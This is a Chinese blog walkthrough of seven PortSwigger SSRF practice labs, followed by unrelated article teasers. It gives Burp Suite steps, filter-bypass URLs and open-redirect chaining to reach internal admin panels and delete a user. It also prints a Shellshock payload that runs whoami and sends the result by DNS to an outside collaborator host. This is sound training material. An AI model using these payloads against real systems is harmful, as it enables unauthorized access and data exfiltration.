burp靶场--ssrf

burp靶场–ssrf

1.什么是ssrf

服务器端请求伪造是一种 Web 安全漏洞,允许攻击者导致服务器端应用程序向非预期位置发出请求。
在典型的 SSRF 攻击中,攻击者可能会导致服务器连接到组织基础设施内的仅供内部使用的服务。在其他情况下,他们可能能够强制服务器连接到任意外部系统。这可能会泄露敏感数据,例如授权凭据,或者代码执行。

实验1:针对本地服务器的基本 SSRF

ssrf绕过了admin的访问控制,通过get传参数来达到攻击目的,将指定用户carlos删除:

## 进入靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
## 操作:
浏览/admin并发现您无法直接访问管理页面。
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
stockApi将参数 中的 URL 更改为http://localhost/admin。这应该显示管理界面。
读取HTML,识别删除目标用户的URL,即:http://localhost/admin/delete?username=carlos
在参数中提交此URL stockApi,以传递SSRF攻击。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
跟随重定向:删除成功:
在这里插入图片描述

实验2:针对另一个后端系统的基本 SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请使用库存检查功能扫描192.168.0.X端口 8080 上管理界面的内部范围,然后使用它删除用户carlos。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Intruder。
单击“清除§”,更改stockApi参数,http://192.168.0.1:8080/admin然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
单击“状态”列可按状态代码升序对其进行排序。您应该看到一个状态为 200 的条目,显示管理界面。
点击这个请求,将其发送到Burp Repeater,并将其中的路径更改为stockApi:/admin/delete?username=carlos

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
url get请求删除用户:
在这里插入图片描述

实验3:带外检测的盲 SSRF

### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
要完成本实验,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。
### 操作:
访问一个产品,在Burp Suite中拦截请求,并发送给Burp Repeater。
转到中继器选项卡。选择 Referer 标头,右键单击并选择“插入 Collaborator Payload”,将原始域替换为 Burp Collaborator 生成的域。发送请求。
转到“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验4:具有基于黑名单的输入过滤器的SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员部署了两种较弱的反 SSRF 防御措施,您需要绕过它们。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的URL修改stockApi为http://127.0.0.1/,观察请求被阻止。
通过将 URL 更改为以下内容来绕过阻止:http://127.1/
将 URL 更改为http://127.1/admin,观察该 URL 再次被阻止。
通过将“a”双 URL 编码为 %2561 来混淆“a”,以访问管理界面并删除目标用户。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验5:通过开放重定向漏洞绕过过滤器的 SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://192.168.0.12:8080/admin并删除用户carlos。
库存检查器被限制只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向。### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
尝试篡改参数stockApi并观察到不可能使服务器直接向不同的主机发出请求。
单击“下一个产品”,观察path参数被放置到重定向响应的 Location 标头中,从而导致开放重定向。
创建一个利用开放重定向漏洞的 URL,并重定向到管理界面,并将其输入stockApi股票检查器的参数中:/product/nextProduct?path=http://192.168.0.12:8080/admin
请注意,库存检查器遵循重定向并向您显示管理页面。
修改删除目标用户的路径:/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

检测查看库存的流量包:
在这里插入图片描述

检测其功能的数据包:
在这里插入图片描述
在这里插入图片描述
发送到repeater

创建一个利用开放重定向漏洞的URL,重定向到管理界面,并将其输入股票检查器上的stockApi参数:

/product/nextProduct?path=http://192.168.0.12:8080/admin
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验6:带有 Shellshock 漏洞的盲目 SSRF

### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
为了完成该实验,请使用此功能对端口 8080 范围内的内部服务器 执行盲目 SSRF192.168.0.X攻击。在盲目攻击中,对内部服务器使用 Shellshock 负载来窃取操作系统用户的名称。### 实验操作:
在Burp Suite Professional中,从 BApp Store 安装“Collaborator Everywhere”扩展。
将实验室的域添加到 Burp Suite 的目标范围中,以便 Collaborator Everywhere 能够瞄准它。
浏览网站。
请注意,当您加载产品页面时,它会通过 Referer 标头触发与 Burp Collaborator 的 HTTP 交互。
请注意,HTTP 交互在 HTTP 请求中包含您的用户代理字符串。
将请求发送到产品页面至 Burp Intruder。
转到Collaborator选项卡并生成唯一的 Burp Collaborator 有效负载。将其放入以下 ​​Shellshock 负载中:() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
将 Burp Intruder 请求中的 User-Agent 字符串替换为包含您的 Collaborator 域的 Shellshock 有效负载。
单击“清除§”,更改 Referer 标头,然后http://192.168.0.1:8080突出显示 IP 地址的最后一个八位字节(数字1),然后单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
攻击完成后,返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。您应该看到由成功的盲目SSRF 攻击所击中的后端系统发起的 DNS 交互。操作系统用户的名称应出现在 DNS 子域中。
要完成实验,请输入操作系统用户的名称。

在这里插入图片描述
为了测试,需要安装插件:
在Burp Suite Professional中,从BApp Store安装"Collaborator Everywhere"扩展
在这里插入图片描述
插件的检测

将实验室域添加到Burp Suite的目标范围,以便Collaborator Everywhere将其作为目标。
在这里插入图片描述
在这里插入图片描述
观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder
在这里插入图片描述
ssrf盲测

使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

我的是:
() { :; }; /usr/bin/nslookup $(whoami).a0bxi9n7k9aet0253kqkh12io9u0ir6g.oastify.com

单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”
在这里插入图片描述
切换到Payloads选项卡,将有效负载类型更改为Numbers,并在"From"、“To"和"Step"框中分别输入1、255和1(单击"开始攻击”)
在这里插入图片描述
攻击完成后,返回Collaborator选项卡,然后单击"立即轮询"。应该看到一个DNS交互,它是由被成功的盲SSRF攻击击中的后端系统发起的。操作系统用户的名称应显示在DNS子域中。

(如果始终没有结果,考虑是否是cookie过期,换一个cookie;或者重新复制一个BP客户端URL)
在这里插入图片描述
在这里插入图片描述
提交flag,完成实验:
在这里插入图片描述

实验7:具有基于白名单的输入过滤器的 SSRF

### 实验参考:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员已经部署了您需要绕过的反 SSRF 防御。### 实验操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的 URL 更改stockApi为http://127.0.0.1/并观察应用程序正在解析 URL、提取主机名并根据白名单对其进行验证。
将 URL 更改为http://username@stock.weliketoshop.net/并观察是否已接受该 URL,这表明 URL 解析器支持嵌入凭据。
将 a 附加#到用户名并观察该 URL 现在被拒绝。
双 URL 编码#并%2523观察极其可疑的“内部服务器错误”响应,表明服务器可能已尝试连接到“用户名”。
要访问管理界面并删除目标用户,请将 URL 更改为:http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
将URL更改为

http://username@stock.weliketoshop.net/
并观察其是否被接受,结果表明URL解析器支持嵌入式凭据
在这里插入图片描述
在用户名后附加一个#,观察URL被拒绝
在这里插入图片描述

在这里插入图片描述
完成实验 :
因为没有管理员凭据,所以使用http://localhost:80绕过:
要访问管理界面并删除目标用户,将URL更改为:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

在这里插入图片描述
在这里插入图片描述

参考:

### ssrf:burp靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
### burp ssrf靶场参考:
https://mp.weixin.qq.com/s/ZUFS8ISQv8qm0iCEB0sh6Q
### payloads:ssrf服务端请求伪造
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
### owasp 服务端请求伪造:ssrf
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/412606.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode 104. 二叉树的最大深度

104. 二叉树的最大深度 给定一个二叉树 root ,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:3示例 2: 输入&#xff1…

SpringBoot中整合MybatisPlus快速实现Mysql增删改查和条件构造器

场景 Mybatis-Plus(简称MP)是一个Mybatis的增强工具,只是在Mybatis的基础上做了增强却不做改变,MyBatis-Plus支持所有Mybatis原生的特性, 所以引入Mybatis-Plus不会对现有的Mybatis构架产生任何影响。MyBatis 增强工具包,简化 C…

短视频代运营抖音项目规划管理计划模板

【干货资料持续更新,以防走丢】 短视频代运营抖音项目规划管理计划模板 部分资料预览 资料部分是网络整理,仅供学习参考。 短视频代运营模板(完整资料包含以下内容) 目录 具体的表格设计和内容可能因不同的情况和需求而有所变…

重拾计网-第一弹

🎉欢迎您来到我的MySQL基础复习专栏 ☆* o(≧▽≦)o *☆哈喽~我是小小恶斯法克🍹 ✨博客主页:小小恶斯法克的博客 🎈该系列文章专栏:重拾计算机网络 🍹文章作者技术和水平很有限,如果文中出现错…

BIOS知识枝桠——RAID 磁盘阵列

文章目录 前言一、RAID介绍二、RAID等级分类1.RAID02.RAID13.RAID24.RAID3和RAID45.RAID5和RAID66.RAID77.RAID10 BIOS下组建RAID 前言 假设存在多块磁盘,如果不组建阵列,磁盘与磁盘之间是没有任何关系的。磁盘A和B,放在A中的文件与B磁盘没有…

k8s---对外服务 ingress

目录 目录 目录 ingress与service ingress的组成 ingress-controller: ingress暴露服务的方式 2.方式二:DaemonSethostnetworknodeSelector DaemonSethostnetworknodeSelector如何实现 3.deploymentNodePort: 虚拟主机的方式实现http代…

软件总体测试计划书

软件项目支撑文件—总体测试计划书 1.测试工作总体流程 2.计划、用例阶段流程图 3.代码测试 4.系统测试 5.非功能测试 6.测试策略 7.测试方法

ES 之索引和文档

本文主要介绍ES中的数据组成结构单元。 一、文档(Document) 1、概念 ES的数据存储单元是面向文档的,文档是所有数据存储,搜索的最小单元。 你可以把ES中的文档对应成mysql中的一条条数据记录。到时候你存进ES的数据就是一个个文档。 文档存入ES是序列…

redis数据安全(一)数据持久化

一、Redis数据安全措施: 1、将数据持久化至硬盘 2、将数据复制至其他机器; 复制是在数据持久化的基础上进行的。 二、将数据持久化至硬盘 1、介绍:Redis是一个基于内存的数据库,它的数据是存放在内存中,内存有个问题就是关闭…

首次公开发声,OpenAI CEO 奥特曼回忆“宫斗门”丨 RTE 开发者日报 Vol.129

开发者朋友们大家好: 这里是「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE (Real Time Engagement) 领域内「有话题的新闻」、「有态度的观点」、「有意思的数据」、「有思考的文章」、「…

linux 更新镜像源

打开终端,备份一下旧的 源 文件,以防万一 cd /etc/apt/ ls sudo cp sources.list sources.list.bak ls然后打开清华大学开源软件镜像站 搜索一下你的linux发行版本,我这里是ubuntu发行版本 点击这个上面图中的问号 查看一下自己的版本号&a…

【ubuntu】docker中如何ping其他ip或外网

docker中如何ping其他ip或外网 示例图: 运行下面命令: docker run -it --namehei busybox看情况需要加权限 sudo,即: sudo docker run -it --namehei busyboxping 外网 ping -c 4 www.baidu.comping 内网 ping -c 4 192.168.…